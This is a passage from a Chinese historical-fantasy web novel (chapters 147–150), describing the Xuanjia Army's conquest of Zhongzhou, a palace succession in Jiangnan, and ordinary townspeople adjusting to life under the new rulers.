“这饭我肯定要吃,县里开了不少新食肆,滋味不错,且叫我瘦一瘦你的荷包。” 第147章 一晃半年过去。 又是一年盛夏近秋, 应州城已然成了一副新面貌,不说远了,就是城里原破破烂烂的木屋再不见, 从前的贫民窟更是一改风貌,端端正正的成了官衙安置外来百姓的居所。 甚至城中心,都规划了一块地, 说是要建正经的医院, 盘州那边早就开始动工了, 只是这医院占地不小, 远不是从前医馆能比的, 工期拉的比较长。 好在大夫人手也紧, 紧急培训出来的都到各地义诊去了,指不定医院都建起来了,还开不了张。 眼下要紧的也的确不是医院, 而是出兵忠州的事。 定了后半年出兵忠州, 休养生息这半年多功夫,无论是原先的老兵还是新招来的新兵蛋子,一个比一个积极, 实在是两位主公大方,多打几次胜仗,家里什么都有了, 子辈孙辈不必愁,再远他们也是管不到了。 樊泊自别景和入营后, 时时和人讨论,越发进益,攻打忠州尚柒有意兵分两路。 因为忠州眼下情况也是各乱各的,先前忠州姜家起乱, 过了这么久姜家已经不成气候,但因为姜家一冒头,其他牛鬼蛇神也都出来了,于是偌大的忠州近一半都是乱地。 还有一半,仗着当地豪强本事高,倒是还能过日子,不过忠州在怎么乱,应州盘州的情况肯定也是已经传了过去,像是沙平县,修了一条近忠州的官道,不知多少人从这条逃难过来,在沙平县安顿。 还有那冒险的商人,为了赚钱是当真要钱不要命,忠州乱地也是常走的,也是西南能出去的人寥寥无几,不然多的是本地商人要去中原做二道贩子。 也是棉花数量不够,最稳妥的还是做粮食生意,不然单单是棉花就要被这群商人玩出花来,更不说其他东西。 玄甲军治下的好东西,不说多如牛毛,那也是满目琳琅,像是矿山出矿稳定后,铁锅,煤炉之类的生活用铁,卖的再好不过。 而且玄甲军的冶铁技术也比大历强,造出来的铁具结实又耐用,甚至如今玄甲军治下用的新钱,也是这种冶铁方法造的。 历来私铸□□是屡禁不止的事,但玄甲军治下还真没冒出来这样的傻货,一么因为玄甲军什么都管,在不像大历当官只管税收,二么则是因为民间还真弄不住玄甲军造的新钱。 “大军往南去这一路,必然是凶险的,北去若是当地地方豪强识趣,该如盘州一般好打。”别此云在军事上只能说略知一二,但好歹能看清局势,这也是他在军事上不怎么插手的缘故,就怕外行指挥内行。 “其实乱地更好打一些。”忠州乱了这么久不光没平息,反而越演越烈,说明此地的地方豪强谁也不服谁,看似各自为政,实则一盘散沙,真遇上正规军,不说玄甲军,就是大历的军队也是一击击溃。 反倒是另外没乱的地方,比较棘手,如此云所说,他们识趣,大家相安无事后收归此地最好,可要是负隅顽抗,说不得要一场血战。 “那么你打算派谁去啃这块硬骨头?”樊泊和堂兄二人,都是良将,两路谁去都能收拾。 “抽签。”左右二人都能应付,只差个做决定的人罢了,若是私下叫二人自己决定难免生龃龉,他作为主公下令,二人自当没话说。 “你啊,也是西南没闹出什么大势力,方才如此松懈,若是换成中原,指不定如何抓耳挠腮。”别此云轻笑。 “半年过去,中原沸沸扬扬的天花也都渐渐没了声音,而江南那边还没传消息广运帝回朝,我看离闹出乱子也不远了。” “中原局势牵扯各个世家,关心再多也无用,拿下整个西南,咱们才有进军中原的资格。” “快了。”如果顺利,明年整个西南就会收入囊中,也不知玄甲军的名声传到中原什么地方去了。 …… 忠州江县。 正是距离应州最近的县城,也是乱地之一,从年初去就不知跑了多少人去沙平县逃命,留下的不过是实在走不得,或日子还能苦挨下去的罢了。 但要说在闹几起乱子,除了双脚不行的人,估摸着再没几个会留下来,再舍不得故土,也不至于把整条命搭下去。 正是半夜,县外又闹了起来,附近街上的人家都是紧闭门户,虽有不少人好奇在门口凭借门缝偷窥,但一点声响都不敢发。 “外头又是闹什么?”屋里没点油灯,借着外头的月光能模模糊糊看清楚屋里的情况,正是一对年轻的夫夫再说话。 “不晓得,只看见一群人,有拿着棒子的,有拿着镰刀的,看穿着不像是县里人。”不是县里的,那就是村里的了,只是夜里城门一闭,村里的莽汉如何能进城,莫不是从城墙反过来的? 可江县的城墙再挨,没有梯子也轻易是翻不上来的,更不说城墙上还有守夜的兵丁。 “一定是那守夜的兵贼偷了懒,叫这群莽汉进了城,可看见他们往哪去了?”平头百姓家里是没几个钱的,这些人数量不多,虽手里有武器,但比起强平民不如抢大户来的快。 县里的大户已经走了不少,还留下的多是以田地为生的富户,地无论如何都带不走,要说卖,也没谁一口气能吃的下,如此地就换不得钱了,一大家子没了收入来源,逃去外地也是个死,不如留下还能勉强活命。 “往城东口去了,离秋收还有一段时日,估计是家里没粮了。”青黄不接的时候最容易闹事,尤其近来天气也怪,倒不至于叫地里粮食绝收,但减产是必然的。 “城东,那不是林家,林家老爷可是个好人,这他们要是抢粮食也就算了,若是杀人可如何是好?”郎君吓的煞白了脸,他们家也算是承过林家的情,方才当家说来人手拿了镰刀,一个不甚要人命该如何是好。 汉子也叹气,他也不想看到林家落难,但他一个人势单力薄,就是寻左右邻居,也不见得愿意出头的。 这一年来,因为夜里常有人闹事,他们日子过得是提心吊胆,若是林家老爷都遭了难,江县是跟没法过日子了。 “要不咱们还是去沙平县讨生活吧,咱们一条街的小李儿,不就是先去了沙平县探路,转头回来就把家里老小都接了过去吗? 小李儿他们家就他一个能干的,咱们家好手好脚的有两个,去了沙平县也能过活,虽舍了这屋子,但人还在,再买就是。” 这样乱夫夫二人没走,就是因为这宅子赶在乱的档口前才买下来,好不容易有一容身之地,又哪舍得往外去。 “如果林家遭了难,只怕沙平县是唯一的出路了。” 夫夫二人正满心惆怅,街外又传来动静,若说方才一股小匪不过是热闹了些,眼下这处动静可就大了,甚至还能听到马蹄声,脚步声更是整齐,绝非二三十人能走出来的。 才躺下不久的汉子又起身,隔着门缝在看,来人再不是打着补丁的匪徒,而是身着铁甲的兵士,这、这是隔壁应州的玄甲军打过来了? 和汉子一样反应的不在少数,就凭借晚上的动静,今夜绝没有睡着的。 至于远处的林家,才叫一群莽汉拿着棍棒轰开了大门,内宅生活的主子想要跑,但前门后门都堵了人,这群人也是凶悍,似乎因为是下定决心要打劫,也不管人死活,一刀看在林家下人身上,眼睛都没眨一下,只怕手里早沾了人命。 如林家这样被抢的不是江县第一例,这些抢劫的莽汉自以为能够顺利拿到粮食和金银珠宝,甚至林府模样生的俏的姑娘哥儿也能带回去当暖床,哪想眨眼的功夫,二三十人的队伍就被一群身着甲胄的士兵拿住了。 “将军,人都被拿下来,受伤的百姓也都送去军医跟前,看这群人下的狠手,多半是惯犯。” 别景和站在火把下,瞧着这群在乱地也膀大腰圆的汉子们。 “审问清楚,按律行事。” 下面的人闻言,便晓得这群人是活不了了,玄甲军新律不算严苛,甚至有些方面比大历还要宽松,因为玄甲军现在最缺的就是罪犯。 眼前这群莽汉一看就是能干活的,去了矿山若是不遇上什么危险情况,能干很久,但两位主公历来对杀人不喜,尤其是眼前这群背多条人命官司的,这等穷凶极恶之徒,留在矿山也难免成隐患,不如直接斩了好。 军队只在林家停留片刻,收拾了残局后,原林家主家一行人连将军的面都没见着,好在命是保住了,他们也不能多求。 唯一难过的是,玄甲军一来,以土地为生的林家怕是要另谋生路。 “爹,家里的地改明儿你直接献出去。”家里的小哥儿还魂惊未定,但已然开始为家里人打算。 “虽玄甲军救了咱们一命,地是要给出去的,但玄甲军是给钱买地,若是献出去,家里人日后怎么办?”林家家主也非是不知恩图报,实在是一大家子只靠地里那点租子过活,地卖给玄甲军,或许还能有些宽裕分到各人头上,直接给出去,靠那点老本一家子不出几个月就要喝西北风了。 “家里识字的人多,不愁在玄甲军治下讨不到活计,当初咱们留在江县,没去沙平县,不就是打算等玄甲军过来,地一卖再凭借认字的本事,寻个差事,眼下玄甲军初到,又救了咱们,咱们自然要知恩图报,地献出去,县里其他富户也会被咱们裹挟,算是帮玄甲军一把。” 玄甲军要地,自然没有不给的,不过给的大方还是私下使绊子,就看县里富户怎么想,虽然那些绊子对玄甲军的人来说,不过是耽误些功夫,但能够帮玄甲军节省些时间,想来也是能讨玄甲军欢心。 林家在江县也有几分威望,若是林家对玄甲军表忠心,江县的百姓必不会有什么反抗情绪,此事若做得好,在玄甲军那里挂了号,何愁日子过不下去。 第148章 如林家这样有聪明人在背后出谋划策的终究是少数, 大多富户见到玄甲军的影子,还是忍不住唉声叹气。 但都还规矩,知道玄甲军律令严苛, 谁也不想做出头鸟,倒叫别景和有些意兴阑珊,原以为西南这儿历来不服朝中管教, 该是块难啃的硬骨头, 谁知一座县城连交手的机会都没有, 就给平稳拿下。 樊泊也说自领兵以来, 真实打实的一仗是和盘州刺史王襄打的, 此后收复城池都是小打小闹。 玄甲军按部就班的吞吃忠州, 远在千里之外的江南却是出了事。 长安天花算是熄火了,广运帝有意回长安坐镇,毕竟北面因为这场天花损失惨重, 若是长安再空虚下去, 外族抓住机会打过来,大半江山岂非是拱手让人? 只是这江南来好来,走便没那么好走了, 下面几个皇子是知道,皇帝如果回到长安,这太子之位, 又得广运帝说了算,要想一劳永逸, 最好就在江南了了皇位的事。 齐王因为封地和萧家,有极大的依仗,只要能够暂时切断皇帝和禁军的联系,一切尘埃落定, 禁军也只有另择明主的份。 “头儿,听风声,估摸着就是这几天便要有动作了。” 冯风听得手下人汇报,心里有数,齐王动兵必不会说大动干戈,在禁军眼皮子底下也很难偷龙转凤,将一只大军带入城中。 “齐王的人手都聚集在何处?”大军没有,但小打小闹的人手必然已经集齐,如今广运帝的别院远不如皇宫密不透风,便是比照皇宫的严密程度巡逻,怕也容不下这么多人。 如此,别宫迟迟未成,大抵也是因为这个缘故。 只是广运帝不像是坐以待毙的人,明知道几个皇子居心不良,竟也任由他们去,难不成还有什么螳螂捕蝉黄雀在后的手段? “除开齐王府,各市井也藏匿了不少人手,耗费了近一月才将这些人送进城。” 皇帝到了江南,这城里不必从前松快,进出城门都有将士仔细盘查,也亏得头儿交代他们仔细计算每日进出城的人数,方才察觉有异。 “照城门口盘查的严谨程度,一个月也就能送几百人进来。”便是多算也不过千人左右,这点人要想拿下广运帝怕是不成。 “或许还有原在城中的人手,齐王封地本就在江南,说不得在广运帝到此地之前,已经安排的有人手。” 他们才来江南多久,能够弄清楚目前的局势都不错了,往远了查,基本查不出什么。 “吩咐下面的人,若真遇上逼宫的事,且都小心躲起来,咱们主要是收集情报,不要掺和这些事。”冯风就怕这群不省心的,私下想露脸,在这事上闹乱子。 “头儿,这不用你交代,咱们都清楚,再说咱们想掺和,人也看得上才是。” 有了手下这句话,冯风也放心,到底是他一手带出来的人,也不知江南风雨欲来山满楼,会对西南有什么影响。 …… 此刻的西南,或者说此刻的盘州应州,倒是一副花好月圆之景,临近秋收,早稻多已经开始收割。 比起去岁,今年市面上粮价又跌了,一同跌的还有肉价,又因为村里到县里的路修的好,每日还有传成来往的马车,连城里的菜价也比往常便宜不少。 而织坊修好后,新织机织布再快不过,只要原料够,多少布都是能织出来的,寻常布匹的价格也就慢慢打了下来,不过一些好料子价格依旧不便宜,但寻常百姓哪里追求什么绫罗绸缎,有一身新衣能穿已然是好日子。 衣食住行,自古以来就是最叫人看重的,这衣食行都因为玄甲军的到来,有了大大的提升,住的方面,百姓自己也都想方设法解决。 毕竟玄甲军再大方,也不能白修房子给人住,倒是贫民窟收拾出来,解决了部分百姓的住房困难。 “一套房子,一大家子挤在一块自然不舒服,从前是没钱买新房,如今有便宜又干净的房子,舍一半的工钱就能叫一家三口住的舒服,何乐而不为。”如今又不是家里只有一个人能挣钱。 宋月隐幼年也是吃过房子的苦,穷人家的孩子,还真说不上有什么大防,除开真到了要成亲的年纪,家里兄弟姊妹都是挤一个屋的,更穷的,成亲还要和未婚的兄弟姊妹睡一个屋,夜里都不敢在屋里办事。 宋家自然是一顶一的穷人,家中兄弟姐妹也多,爹娘大字不识一个,只顾着生孩子,生出来给口米汤,能不能活全靠命硬,这也非宋家这样做,整个村子,都是这样的爹娘。 在穷人家,人命最不值钱,毕竟几岁的丫头小子卖去牙行,也换不到几个钱,若生的漂亮,爹娘心又狠的,给卖去花街柳巷倒是能换几个钱,但这事敢做,基本是要被戳脊梁骨骂一辈子的。 也是因为有这样的规矩,宋月隐的几个兄弟姐妹才有命活。 “城中的房子,大部分都是木头建的,贫民窟的房子,说是危房都抬举了,而贫民窟之外,也还有不少危房。”尚南枝正苦恼这事,从前有个遮风避雨之地已然是极好的,哪还管什么危房不危房的。 但玄甲军过来,百姓生活得到了改善,这危房肯定还是要想办法解决,不然哪日房子塌了,压死了人可怎么是好。 “你要去劝他们拿钱修房估计是劝不动的。”房子肯定是要修的,但有的人家太穷,比起房子还有更需要用钱的地方,自然这钱也落不到房子头上。 尚南枝当然也知道,她又不是十指不沾阳春水的大小姐,且应州的好日子才过了多久,就是家家户户能挣的比从前多,估计也没攒多少。 如今修的起房的,莫不是从前就有钱的,或是家里能出门做事的人多,一大家子将钱用在一处,方才有些家底。 像是那些家里做事的不过一两人,还要养老人孩子的,真一个月能攒下钱,一年下来,不过买些砖瓦,房子要修还有的等。 “宋姐姐,你帮我出出主意,其他县城也就罢了,应州和盘州未来几年都是玄甲军的门面,万不能放任了去。” “法子自然不是没有,天下人都想有个好的安身之处,只是大部分人一时拿不出钱罢了。 但历来有放贷一说,这事若是官府出面放贷,以低利息给百姓方便,想来不少百姓都是愿意的。” “法子倒是个好法子,只是我怕百姓因为利子钱的缘故,不信官府。”民间借贷,少有低息的,多是高利贷,基本上借了,不卖地卖房,卖儿卖女都是还不起的。 “从前也就罢了,如今私塾开的到处都是,便是年长的大人不认得字,家中也少不得认字的孩子,只消解释清楚,不怕没人来贷。 唯一要注意的是,这放贷也得审查过来贷款人的情况,再怎么也要有一份稳定工作的人家才能放。” 时下玄甲军,在笨嘴拙舌也都能寻一处活干,手脚不健全的,要么家里有人照顾,要么玄甲军给集中一块,叫他们也做些简单的活计,不至于饿死。 再一个房子本就不便宜,若全家都没有活计,个个懒汉,给贷了钱,转头花销出去收不回成本,玄甲军迟早是要亏的。 别看玄甲军关了赌坊妓馆,私下里做这些生意的依旧不在少数,只是大都悄悄摸摸,想要抓人总是要费一番功夫。 尚南枝点头,这事肯定是要过阿兄和别哥哥的眼,毕竟钱要从公中出,玄甲军做了不少生意,钱历来是不少的。 也是这两年西南和中原不怎么来往,不然以西南低廉的粮食酿造酒水贩卖到中原去,少不得大赚一笔。 只是阿兄和别哥哥会赚钱也会花钱,不说远了,就说修路和私塾就是大头花销,军队更不必提,跟个销金窟一样。 而此刻的尚柒和别此云却另有忧心事,江南乱了。 江南会乱,是在他们预料之内的,可谁也没料到,齐王这样占尽天时地利人和的热门人选,会暴毙在齐王府。 “你认为是谁做的?”尚柒对几个皇子的了解都是打此云那儿来的,也都没相处过,但齐王和他结过仇,如今死了也什么唏嘘的。 “本也就太子、晋王和广运帝三个人选,看冯风的消息,最迫在眉睫的事太子和广运帝二人,但这样阴狠的手段,更像是晋王使的。” “你是说,都有份。”尚柒听明白此云的言下之意。 别此云点头,对太子晋王和广运帝来说,齐王算是他们共同的敌人,不管齐王死后他们三人如何狗咬狗,但齐王活着,他们肯定优先对付齐王。 “齐王一死,萧家的依靠没了,但江南是萧家帮齐王经营的,恐怕萧家现在已经另择明主了。”这个主也不难猜,广运帝和萧家结了仇,且年事已高,指不定什么时候就没了。 太子蠢笨,连别家都弃他而去,萧家自然也不会选他,晋王虽阴狠,但对外还说的过去,依别此云看,江南这局棋,最后赢的多半是晋王这个不声不响的家伙。 第149章 大历永昌二十三年, 广运帝晏驾,其子晋王继位,改年号为承平, 大赦天下。 消息从江南向大历各地,改朝换代历来有之,广运帝不及开国太祖有开疆拓土之功, 也不及太宗皇帝有文治太平之能, 甚至连守成之君也当得勉勉强强, 于民间声望寻常, 自然也不指望百姓恸哭供香。 更不说这几年大历一直不太平, 天花之乱才堪堪消停, 新帝继位谁也没工夫庆贺。 西南这头,前些时候才收到江南生乱,转头就尘埃落定, 可见晋王手段了得, 其后必是萧家出了力的,至于齐王是不是晋王弄死的,萧家肯定是不会追究。 到了这个份上, 就是晋王弄死了萧家家主,萧家也得选晋王登基。 “齐王死的蹊跷也就罢了,广运帝未免也死的太快了些。”尚柒还当广运帝要在这场夺位中大展拳脚呢, 毕竟广运帝皇帝当久了,手段必然要比这些皇子狠辣些。 但谁料, 齐王死了才多久,广运帝就跟着一块没了。 “广运帝本就年事已高,又贪图享乐,都不必费心下毒, 只需要在饮食上做些手脚,很容易送走。”不过这种伎俩也需要些脑子才想的出来,不会是太子的手笔。 听此云这么说,尚柒倒是认可这个法子,想要在饮食动手脚,从前宫中没那么容易,但在江南皇帝迄今为止还在别院居住,要动手脚可简单的多。 “冯风信里说,新帝登基后,准备班师回朝,而留在长安的人手说北面起了一伙起义军,已经占据一州,这么贸贸然回去,可不太安全。” “晋王手里除开禁军,还有齐王留在江南的势力,虽然当初齐王的私兵都被广运帝截了去,但之后齐王不可能罢休,江南守军数目亦不少,合在一块回长安,对付一个占据一州的反叛势力不算难。” 晋王除了阴狠这一点,办事到也还成,本事比不比得上广运帝先不提,肯定是比太子和齐王要高,不然最后登基的也不会是晋王。 尚柒叹了口气,“中原的局势眼看着是要复杂起来了。” 也不是说乱就好,最后收拾烂摊子的不还是他们,西南放在他们那个时代,想要完全开发都难,如今还是得靠中原方才能养得起一个国家。 岭南一代,若是能解决瘴气水蛊,再经营海线,几代下来倒也能堪比中原,只是都需要时间。 “趁大历这会腾不出手来干扰咱们,咱们需要尽快平定西南。” 忠州打了几个月,大半城池都归玄甲军之手,余下的小一半抵抗的厉害,这小一半正是地方豪强聚集之地,一个个都不想舍手里的田地,也舍不得蓄养的奴仆。 地一没,人一散,再强大的地方势力也会日渐衰落,想象从前一样当土皇帝是不成的。 樊泊稳扎稳打的推进,即便是面对地方豪强的阻碍,也没有弄出什么大乱子,只等别景和那头解决完乱地,两相夹击,就可一口气吞吃整个忠州。 而像江县这等一开始就被拿下的地方,已然焕然一新。 先前因为乱,江县不少人都逃去应州讨生活,这不江县这头才拿下,原本在应州沙平县的居住的江县人又纷纷回来。 到底在江县还有一处宅子,收拾出来比在沙平县租住的好,当然了也有人自觉在沙平县安了家,江县的宅子虽也回来收拾了,但不回来住,想着日后江县人多起来,这宅子是租是卖也算有个收益。 林家因为主动献地,是得了玄甲军青睐,尤其是当初出主意的小哥儿,更是一晃入了江县衙门做事,虽衙门的县令是应州来的,但林家小哥儿也很快出了头。 只是在玄甲军治下的时间还不长,若是有一两年,也能当得县令,忠州是不指望了,打去黄州的时候倒可以看看能不能挣一个县令当当。 年轻的娘子打早从菜场回来,因为玄甲军一来,收拾了原本的早市,一惯脏乱差的地界,因为聘了几个上了年纪做事还利索的老人洒扫,倒是整洁不少。 今日家里来客,小娘子置办的菜里是少不得肉的,江县如今吃的肉都是隔壁县拉过来的,先前乡下是不敢养牲畜的,县里也许久没有吃过油水了。 几个月过去,早市的肉摊还有络绎不绝买肉的影子,甚至还能看到不少乡下人过来买,不逢年不过节是很难看到乡下人去买肉的。 不过这也不难解释,经过先前乱一遭,不少村子都遭过山匪流氓抢劫,运气好的留一条命,运气不好阖村都死也有的。 左右已经到了乱世,从前想着攒钱过好日子,转头命都没了,不如拿钱换点粮食和肉,真要死了也不叫白活不是。 正午,县里做活的汉子回来,帮衙门做事正午衙门是管饭的,是白饭,有时能配点肉,不过大多时候还是以鸡蛋为主。 衙门做饭的娘子郎君倒也不小气,很舍得下油,便是素油炒菜,配着白饭咸菜吃两碗,也能干一下午活。 但今个儿汉子家里有客,家里的伙食必然是比衙门供的要好,也要招待客人,这不才做完活,就赶着回家。 没什么文化的汉子,在玄甲军治下多是做苦力活,修路修房,倒也不挑,玄甲军大方,工钱从没有拖欠的,比得从前卖苦力要挣的多。 “回来了?”薛娘子打灶房出来,锅里正炖着一只老母鸡,从菜市买的时候还活蹦乱跳的,给钱叫人收拾出来,还新鲜的很。 “嗯,有热水吗,我擦擦灰。”往年张三郎可没有这么矫情,擦灰还要热水,虽已经冷起来,但烧热水费柴,城里做饭的柴火都要靠买,别看一担柴没多少钱,但合一块也不低。 “有,才去买回来的。”薛娘子又进灶房,打了开水混着凉井水,拿了一条汗巾出来,“今个儿又在哪家做事?” “从前金老爷家。”江县的大宅子多,有的已经人去楼空,有的被抄家也空了出来,玄甲军是能拆的拆,能改的改,金老爷是跑了的,他家宅子算江县数一数二的大,里头还有小园林,也是这次去做活才算开了眼界,晓得富贵老爷家到底是个什么样。 “可有说这宅子打算干什么?” “无非是官衙门征用做事,不过前几日正午听管事闲聊,说是有一批西北买来的羊毛要送到咱们县,许是此地要用来做织坊。” “当真?”薛娘子一边帮自家汉子擦灰,一边询问,她早想找个差事,只是苦于江县没修建什么工坊而憋屈在家。 要说如今自家汉子一月挣的钱比往年过去,她在家操持打理也就罢了,但左邻右舍能干的娘子郎君都寻事做,添补家里,她一个人在家,像什么话。 “自然是真的,官家铺子不是有卖那什么羊毛衣的吗?工地的工友有给家里娘子买的,说是穿上只要在外罩一件外衫,人一动都要冒热气,去岁冬日冷的人手脚发僵,我想着今年赶在隆冬前,也给你买一件。” “哪有这个钱,我瞧着羊毛衣都贵,买一件要做多久才能挣回来。”要说薛娘子不喜欢羊毛衣那是假的,左邻右舍这么多人家,总有人家里有点家底,买了给她们瞧,的确是暖和,但也真的贵。 “总是要花出去的,先前江县乱起来的时候,咱们手里那点钱想花还没地花呢。”张三郎是看的开,“县里又开了一家食肆,听说是盘州过来的,听许多人吃过滋味都说好,等这次事了,我也带去去下馆子。” “什么话,从前那是乱,钱留在手里也无用,眼下江县你看有半分乱象吗?” 那是没有的,甚至比从前没乱的时候还要井然有序,没乱之前,街上的人不怎么多,便是来办事都赶早,一过晌午县里就安静的不行。 可这会,不说晌午,就是傍晚都是人声鼎沸,不至于说到人挤人的地步,但到了饭点,私塾一下学,左右小吃摊上挤满了孩子。 这些做孩子生意的小贩也聪明,卖的都是些不贵又填肚子的东西,许多原料玄甲军卖的便宜,小贩买来做成小吃,只要滋味好,每天都是不缺生意的。 “不乱,但好东西也比从前多,不说远了,就说那煤炉,冬日里烧水做饭都方便,还有煤油灯,夜里点着,也亮堂的很,关键价格咱们也买的起,难道为了省钱还要过苦日子不成。” “等我也寻一事做,你再说这些,如今还是俭省些,不然孩子出生吃什么喝什么?” “少不了孩子的,不过咱们孩子命也好,生下来能去私塾念书,等到十五岁,咱们手里该攒了些钱,房子肯定重修了,也不知够不够给他添一处新宅的。”张三郎在工地做事,自然晓得如今盖一处新宅耗费不低,他们这处房子不算旧,但是木头房子。 新宅红砖青瓦,还有盖二层的,若是能攒钱盖个二层小楼,孩子日后成亲也都住的开,甚至有了孙子孙女也不会挤。 “咱们两个人做事,大抵是能买,只是买了手里怕也没什么余钱。”薛娘子话虽这么说,但面上忍不住带笑,“要是有两个孩子,怕是买不起更多的宅子了。” “可不是,不过眼下粮食便宜,病咱们也看的起,还有义诊的大夫时常上门交代咱们如何预防生病,想来孩子出来,都是能养活的。”以前生多少不算,要养活多少才。 “当家的,你说玄甲军能一直在江县吗?”薛娘子猛地将未来的幻想打破,如今的好日子是他们打出生就没过过的,全仰仗玄甲军,有朝一日玄甲军若是被打败了,或是赶走了,他们的日子又恢复从前的模样,可怎么是好。 “能,玄甲军已经占了应州和盘州,咱们忠州眼看着也要归玄甲军手里,只等拿了黄州,西南就全归玄甲军了。” “可朝廷……”到底他们是大历生人,知道玄甲军外还有朝廷的存在。 “玄甲军都占了盘州几年了,朝廷不也一个屁都没放,我看,早晚玄甲军是要打去中原的,到时候咱们多攒些钱,跟玄甲军的商队去长安瞧瞧,也叫咱们开开眼。” “八字还没一撇的事,你倒是想的长远。”薛娘子一辈子不过二十年,莫说去中原长安,就是江县都没出过,但听当家的这么说,还是忍不住跟着想,长安到底是个什么模样。 “我怎么闻到一股糊味。”张三郎吸了吸鼻子,别是他们光顾着说话,忘了灶上的事了。 “诶哟,我的鱼。”灶上除了炖鸡,还煎了鱼,原只听见动静,打算出来瞧瞧是不是当家回来,转头就给忘了。 还好鱼没彻底糊了,不过灶房外当家的笑声止不住的传进来,倒是叫人好一阵恼,但薛娘子也放任了去,左右她也许久没听当家这么大笑了。 第150章 “这鱼倒是新鲜, 可才从江上打来的?”菜市里人来人往,已经过了晌午都还热闹着。 “可不,晌午才捞上来, 下午有几个老客特意定了,多了几条送来看有没有人买,您老要买一条回去炖汤么?隔壁豆腐摊也还有新鲜拉来的嫩豆腐, 回去煮一锅豆腐鱼汤, 冬日正好暖身子。”卖鱼的小贩口才好, 这么一通说, 鱼又卖出去一条。 如今这木盆里也就剩两条活鱼, 费不了多少功夫就能回家歇着了。 “这江上能行船了就是好, 打鱼都方便不少。”隔壁豆腐摊的老板得了卖鱼的便宜,兴高采烈的同人搭话。 “可不是,要江船才好下网, 不然小河小溪, 鱼哪是那么好捉的。”在江上,一网下去,总有网住的。 只是这两年玄甲军不叫江船多往中原方向去, 这捕鱼的行当才逐渐衰落,也是县里不愁招工,不然从前的渔夫多是要饿死的。 “也不知通了船, 咱们还能不能去中原做生意。”到底中原还是大历的国土,玄甲军对大历来说那是正经反贼, 别去了中原就叫当官的给当成反贼给抓了。 “应当不会,虽说民间的船不出西南,但官家的船是常出去的,也都全须全尾回来了, 多半对岸的人也都习惯了。” 鱼贩觉得该担心也该担心南边,那边可正打着仗,不少前两年征去的本地兵士也都往南去,瞧着像是一口气拿下忠州和黄州。 盘州运气好,先一步被玄甲军占了,这两年来,日子不知比从前好过多少。 也正如鱼贩所言,昌州这会子的确是不禁和玄甲军来往的,不说玄甲军在天花肆虐的时候给昌州沿岸的县城种牛痘,就是玄甲军的好东西昌州从上到下都是喜欢的。 “朝廷那头可有说对玄甲军是个什么章程?”近来西南那头开了禁,陈娘子见西南越来越多的船只过来昌州而自己老爷纹丝不动,就怕上头到时候责怪起来,他们担当不起。 “还能什么章程,只要没兵,不过是睁一只眼闭一只眼罢了。”大军还在班师回朝的路上,等新帝在长安坐稳了皇位,还有北面要担忧,西南天高皇帝远,就算心里惦记也不着急。 “朝廷这样下去,指不定什么时候玄甲军就打过来了。”陈娘子这话也不是危言耸听,毕竟玄甲军好端端的突然解了西南的禁,那不就是想着两岸多来往,之后打过来百姓也不必担惊受怕。 “这时候解禁只怕是忠州已经完全落入玄甲军的手里,不然黄州那头还有边军镇守,朝廷若是悄悄派人去和边军联系,两面夹击玄甲军,玄甲军焉能对付的过来。” “两面夹击?这话可就无从说起了,这两年西南进不去,想来边军的军饷朝廷是没送过的,说不得边军已经寻了别的门路。”再不说,朝廷哪来的兵力两面夹击。 叶全被夫人的话讽刺的不吭声,他好歹还是大历的官,嘴上是不肯轻易抱怨大历的不好。 “不成,你我还是早做打算,快则一两年,慢则三五年,玄甲军必然是要出西南的,到时候你我还在威名县,跑肯定是跑不掉,若要留,便是投敌。 朝廷那边怎么看咱们先不提,单单如何在玄甲军跟前露脸,就得好生琢磨琢磨。” “你这么早打算,未免太着急了些,我瞧王襄在玄甲军治下已经身兼重任,可见玄甲军不是那等见官就杀的凶恶之徒,多半还是留任我在原职。” 只是玄甲军的县令就没大历那么快活,工钱是比大历要高,但私下不许有灰色收入,管吃管住倒是能省一笔,但平日开销便没了着落。 “你若继续做官,咱们家就得想法子另谋生路。”陈娘子或多或少也了解玄甲军治下,想要手里有钱,只有做生意这一条门路。 老成些的,添够一些房产,等玄甲军一来,或租或卖都是有的赚,但都是些小钱,多的怕是没有。 “不过继续用家里铺子做些买卖罢了,倒是家里几个小的,需要叫他们慢慢学着少些人伺候,便是咱们家雇佣的起,也不能大张旗鼓继续留用这么多人。” 他们两家也非是什么小门小户出身,家里伺候的人不少,就说一个孩子身边,除开奶娘嬷嬷,也还配两个贴身伺候的,屋里做粗活的不算,都四五人去了,加一块也不是个小数目。 “玄甲军一来,你还要他们留在家里不成,眼下玄甲军便是占据西南,往中原打也才算刚起步,正是取功名的好时候。”陈娘子恨铁不成钢。 叶全讪讪笑了笑,赔了罪,家里孩子年岁都还不大,想他出仕也是过了及冠之龄,原还想着按老规矩多留家几年,但玄甲军任人唯贤,先前过来义诊的人里,十二三岁跟诊的学徒就不少,管事更是十五六的都有,可见少年英才。 他好歹也是叶家旁系出生,祖辈更是嫡系,刚出两代家里还算富裕,养育后代不及主家,但也比上不足比下有余。 凭本事,他自认为家中儿女是不差的,玄甲军若是愿意给机会,不乏有出头的机会。 “也是别家眼力劲好,寻个儿婿若能成事,转头别家的门户就凌驾六大世家之上。” 大历开国的时候,别家就搭了好运,按说改朝换代,从前的世家少有能东山再起的,结果别家不光在大历苟了两百来年没出岔子,现又搭上了新运,实在叫人眼红不来。 “话也不是这样说,你瞧玄甲军,开民智收田地,哪样不是在世家头上动土,别家肯舍了这些安家立业的东西,才叫我佩服。”没有田地,光靠生意可不旱涝保收,民智一开,天下学子皆可为士,几代过去,从前风光的世家又有几个还能残存于世。 依陈娘子看,大历开国皇帝对世家虎视眈眈,几代皇帝斗了个你死我活都没把世家势力压下去,换到玄甲军,轻而易举就能断了世家的根,不过前提是玄甲军能把几大世家给打服气。 “你看玄甲军在西南犹如无人之境就晓得其厉害,说到底还是看谁拳头硬。”叶全心里也有小心思,玄甲军在西南能打不代表在中原也行得通。 只看玄甲军什么时候拿下黄州,就知道玄甲军的本事。 ———————— 蔺肃已经从军营退下来,但主公有意派遣他掌管忠州,倒也跟着樊泊行军到忠州城安顿。 赶在隆冬前,别景和带着一路大军和樊泊会和,将忠州的地方豪强一网打尽,如今人都在牢里关着。 而大军大获全胜后,两位主公派遣宋月隐送来今年收获的棉花制成的棉衣给将士们,每营也配了棉被,叫大冬天行军的将士一个个都爱不释手。 “也是今年棉花两州都种,方才给军营将士配上。”甚至给军中供应后,还能剩余不少售卖给百姓,加上今年有一批西北买来的羊毛,配合要价不高的蜂窝煤,今年大抵是没什么人会冻死。 “忠州眼下百废待兴,想要和应州盘州一样立刻能产出些东西,怕是难。”到底大乱一场伤了元气。 